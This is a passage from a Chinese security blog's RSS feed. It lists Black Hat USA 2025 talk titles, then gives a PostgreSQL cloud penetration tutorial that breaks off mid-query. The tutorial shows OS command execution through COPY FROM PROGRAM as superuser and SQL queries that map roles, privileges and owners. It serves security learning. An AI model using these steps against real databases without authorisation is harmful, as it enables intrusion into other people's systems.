leaf="">Tianchang Yang&amp;Kai Tu&amp;Syed Md Mukit Rashid&amp;Ali Ranjbar&amp;Gang Tan&amp;Syed Rafiul Hussain_Open RAN, Open Risk Uncovering Threats and Exposing Vulnerabilities in Next-Gen Cellular RAN.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">开放 RAN，开放风险：揭示下一代蜂窝无线接入网中的威胁与漏洞</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Tod Beardsley_Vulnerability Haruspicy Picking Out Risk Signals from Scoring System Entrails_WP.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">漏洞预言：从评分系统细节中识别风险信号（白皮书）</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Tod Beardsley_Vulnerability Haruspicy Picking Out Risk Signals from Scoring System Entrails.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">漏洞预言：从评分系统细节中识别风险信号</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Tom Tervoort_No VPN Needed Cryptographic Attacks Against the OPC UA Protocol_TOOLS.txt</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">无需 VPN：针对 OPC UA 协议的密码学攻击（工具）</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Tom Tervoort_No VPN Needed Cryptographic Attacks Against the OPC UA Protocol_WP.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">无需 VPN：针对 OPC UA 协议的密码学攻击（白皮书）</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Tom Tervoort_No VPN Needed Cryptographic Attacks Against the OPC UA Protocol.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">无需 VPN：针对 OPC UA 协议的密码学攻击</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Vaisha Bernard_Consent &amp; Compromise Abusing Entra OAuth for Fun and Access to Internal Microsoft Applications.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">同意与妥协：滥用 Entra OAuth 获取内部微软应用的访问权限</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Vedang Parasnis_Kernel-Enforced DNS Exfiltration Security Framework Built for Cloud Environments to Stop Data Breaches via DNS at Scale_WP.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">内核强制的 DNS 数据外泄安全框架：为云环境构建以大规模阻止 DNS 数据泄露（白皮书）</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Vedang Parasnis_Kernel-Enforced DNS Exfiltration Security Framework Built for Cloud Environments to Stop Data Breaches via DNS at Scale.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">内核强制的 DNS 数据外泄安全框架：为云环境构建以大规模阻止 DNS 数据泄露</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Xiaochen Wang&amp;Yiping Liu&amp;Xiaoman Wang&amp;Cong Cheng_LLMDYara LLMs-Driven Automated YARA Rules Generation with Explainable File Features and DNAHash.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">LLMDYara：由大语言模型驱动，结合可解释文件特征和 DNAHash 的自动化 YARA 规则生成</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Yuan Luo&amp;Zhaojun Chen&amp;Yi Sun&amp;Rhettxie Rhettxie_More Flows, More Bugs Empowering SAST with LLMs and Customized DFA.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">更多流，更多漏洞：用大语言模型和定制化数据流分析赋能静态应用安全测试</span></p></td></tr></tbody></table><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">下载地址:</span></p><blockquote style="box-sizing: border-box;margin: 20px 10px;padding: 1px 0px 1px 10px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(91, 91, 91);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;background: rgba(158, 158, 158, 0.1);border-left: 3px solid rgb(158, 158, 158);"><p style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf=""><a href="https://github.com/onhexgroup/Conferences/tree/main/BlackHat_USA_2025_Slides" target="_blank">https://github.com/onhexgroup/Conferences/tree/main/BlackHat_USA_2025_Slides</a></span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485727">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9567e056&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU5MTExMjYwMA%3D%3D%26mid%3D2247485727%26idx%3D1%26sn%3D723dfa85723a820f673343d1d587c622">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 19 Aug 2025 11:29:00 +0800</pubDate>
    </item>
    <item>
      <title>云环境下的PostgreSQL渗透</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU5MTExMjYwMA==&amp;mid=2247485722&amp;idx=1&amp;sn=987afcdabc2fcc0709a428b95cc8beaa</link>
      <description>云环境下的PostgreSQL渗透</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2025-07-26 09:09</span> <span style="display: inline-block;">北京</span>
</p>

<p>云环境下的PostgreSQL渗透</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a1e06e88&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FnoZJ3Kqbu1cp8ugwvkwffzwcSmRcVkk3nWyp7lTantiaEFogpRBtNNNvibaN4mh2VC1TA2ib8zXT8k1M5E4LJhACg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-pm-slice="0 0 []"><span leaf="">前段时间因为有个项目涉及到云环境下的渗透，于是学习了Wiz Research关于pg渗透的文章</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">目前在云环境下给用户的pg账号，都是经过降权的账号，非真正的超管用户，是无法执行命令的。</span></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">信息搜集</span></h2><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">命令执行</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">如果有SUPERUSER权限，可以直接执行命令</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span leaf=""><span class="code-snippet__keyword">CREATE</span> <span class="code-snippet__keyword">TABLE</span> shell_results (data text);</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">COPY</span> shell_results <span class="code-snippet__keyword">FROM</span> PROGRAM<span class="code-snippet__string">&#39;/usr/bin/id&#39;</span>;</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">SELECT</span> <span class="code-snippet__operator">*</span> <span class="code-snippet__keyword">from</span> shell_results;</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">如果不清楚自己的权限，可以通过下面的命令来查询自己的权限</span></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">查询用户所拥有的权限</span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span leaf=""><span class="code-snippet__keyword">SELECT</span> rolname,</span></code><br/><code><span leaf="">       <span class="code-snippet__built_in">trim</span>(<span class="code-snippet__string">&#39;,&#39;</span> <span class="code-snippet__keyword">from</span></span></code><br/><code><span leaf="">           <span class="code-snippet__keyword">CASE</span> <span class="code-snippet__keyword">WHEN</span> rolsuper <span class="code-snippet__keyword">THEN</span> <span class="code-snippet__string">&#39;SUPERUSER,&#39;</span> <span class="code-snippet__keyword">ELSE</span> <span class="code-snippet__string">&#39;&#39;</span> <span class="code-snippet__keyword">END</span> <span class="code-snippet__operator">||</span></span></code><br/><code><span leaf="">           <span class="code-snippet__keyword">CASE</span> <span class="code-snippet__keyword">WHEN</span> rolinherit <span class="code-snippet__keyword">THEN</span> <span class="code-snippet__string">&#39;INHERIT,&#39;</span> <span class="code-snippet__keyword">ELSE</span> <span class="code-snippet__string">&#39;&#39;</span> <span class="code-snippet__keyword">END</span> <span class="code-snippet__operator">||</span></span></code><br/><code><span leaf="">           <span class="code-snippet__keyword">CASE</span> <span class="code-snippet__keyword">WHEN</span> rolcreaterole <span class="code-snippet__keyword">THEN</span> <span class="code-snippet__string">&#39;CREATEROLE,&#39;</span> <span class="code-snippet__keyword">ELSE</span> <span class="code-snippet__string">&#39;&#39;</span> <span class="code-snippet__keyword">END</span> <span class="code-snippet__operator">||</span></span></code><br/><code><span leaf="">           <span class="code-snippet__keyword">CASE</span> <span class="code-snippet__keyword">WHEN</span> rolcreatedb <span class="code-snippet__keyword">THEN</span> <span class="code-snippet__string">&#39;CREATEDB,&#39;</span> <span class="code-snippet__keyword">ELSE</span> <span class="code-snippet__string">&#39;&#39;</span> <span class="code-snippet__keyword">END</span> <span class="code-snippet__operator">||</span></span></code><br/><code><span leaf="">           <span class="code-snippet__keyword">CASE</span> <span class="code-snippet__keyword">WHEN</span> rolcanlogin <span class="code-snippet__keyword">THEN</span> <span class="code-snippet__string">&#39;LOGIN,&#39;</span> <span class="code-snippet__keyword">ELSE</span> <span class="code-snippet__string">&#39;&#39;</span> <span class="code-snippet__keyword">END</span> <span class="code-snippet__operator">||</span></span></code><br/><code><span leaf="">           <span class="code-snippet__keyword">CASE</span> <span class="code-snippet__keyword">WHEN</span> rolreplication <span class="code-snippet__keyword">THEN</span> <span class="code-snippet__string">&#39;REPLICATION,&#39;</span> <span class="code-snippet__keyword">ELSE</span> <span class="code-snippet__string">&#39;&#39;</span> <span class="code-snippet__keyword">END</span> <span class="code-snippet__operator">||</span></span></code><br/><code><span leaf="">           <span class="code-snippet__keyword">CASE</span> <span class="code-snippet__keyword">WHEN</span> rolbypassrls <span class="code-snippet__keyword">THEN</span> <span class="code-snippet__string">&#39;BYPASSRLS,&#39;</span> <span class="code-snippet__keyword">ELSE</span> <span class="code-snippet__string">&#39;&#39;</span> <span class="code-snippet__keyword">END</span></span></code><br/><code><span leaf="">       ) <span class="code-snippet__keyword">as</span> permissions</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">FROM</span> pg_roles;</span></code><br/></pre></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">查询数据库owner</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">SELECT datname, pg_catalog.pg_get_userbyid(datdba) AS owner FROM pg_catalog.pg_database;</span></code></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">查询表owner</span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span leaf=""><span class="code-snippet__keyword">SELECT</span></span></code><br/><code><span leaf="">    n.nspname <span class="code-snippet__keyword">AS</span> schema_name,</span></code><br/><code><span leaf="">    c.relname <span class="code-snippet__keyword">AS</span> table_name,</span></code><br/><code><span leaf="">    pg_catalog.pg_get_userbyid(c.relowner) <span class="code-snippet__keyword">AS</span> owner_name</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">FROM</span></span></code><br/><code><span leaf="">    pg_catalog.pg_class c</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">JOIN</span></span></code><br/><code><span leaf="">    pg_catalog.pg_namespace n <span class="code-snippet__keyword">ON</span> n.oid <span class="code-snippet__operator">=</span> c.relnamespace</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">WHERE</span></span></code><br/><code><span leaf="">    c.relkind <span class="code-snippet__operator">=</span> <span class="code-snippet__string">&#39;r&#39;</span> <span class="code-snippet__comment">-- &#39;r&#39; 表示普通表 (regular table)</span></span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">AND</span> n.nspname <span class="code-snippet__keyword">NOT</span> <span class="code-snippet__keyword">IN</span> (<span class="code-snippet__string">&#39;pg_catalog&#39;</span>, <span class="code-snippet__string">&#39;information_schema&#39;</span>, <span class="code-snippet__string">&#39;pg_toast&#39;</span>) <span class="code-snippet__comment">-- 排除系统模式</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">ORDER</span> <span class="code-snippet__keyword">BY</span></span></code><br/><code><span leaf="">    schema_name, table_name;</span></code><br/></pre></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">查询当前用户的权限</span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span leaf=""><span class="code-snippet__keyword">WITH</span> <span class="code-snippet__keyword">RECURSIVE</span> effective_roles <span class="code-snippet__keyword">AS</span> (</span></code><br/><code><span leaf="">    <span class="code-snippet__comment">-- 当前用户直接所属的角色</span></span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">SELECT</span></span></code><br/><code><span leaf="">        m.roleid <span class="code-snippet__keyword">AS</span> parent_role_oid,</span></code><br/><code><span leaf="">        m.member <span class="code-snippet__keyword">AS</span> member_role_oid</span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">FROM</span></span></code><br/><code><span leaf="">        pg_auth_members m</span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">WHERE</span></span></code><br/><code><span leaf="">        m.member <span class="code-snippet__operator">=</span> (<span class="code-snippet__keyword">SELECT</span> oid <span class="code-snippet__keyword">FROM</span> pg_roles <span class="code-snippet__keyword">WHERE</span> rolname <span class="code-snippet__operator">=</span> <span class="code-snippet__built_in">current_user</span>)</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">UNION</span> <span class="code-snippet__keyword">ALL</span></span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">    <span class="code-snippet__comment">-- 递归地查找这些角色所属的其他角色</span></span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">SELECT</span></span></code><br/><code><span leaf="">        m.roleid,</span></code><br/><code><span leaf="">        m.member</span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">FROM</span></span></code><br/><code><span leaf="">        pg_auth_members m</span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">INNER</span> <span class="code-snippet__keyword">JOIN</span></span></code><br/><code><span leaf="">        effective_roles er <span class="code-snippet__keyword">ON</span> m.member <span class="code-snippet__operator">=</span> er.parent_role_oid</span></code><br/><code><span leaf="">)</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">SELECT</span> <span class="code-snippet__keyword">DISTINCT</span></span></code><br/><code><span leaf="">    r.rolname</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">FROM</span></span></code><br/><code><span leaf="">    pg_roles r</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">WHERE</span></span></code><br/><code><span leaf="">    r.oid <span class="code-snippet__keyword">IN</span> (<span class="code-snippet__keyword">SELECT</span> parent_role_oid <span class="code-snippet__keyword">FROM</span> effective_roles)</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">ORDER</span> <span class="code-snippet__keyword">BY</span></span></code><br/><code><span 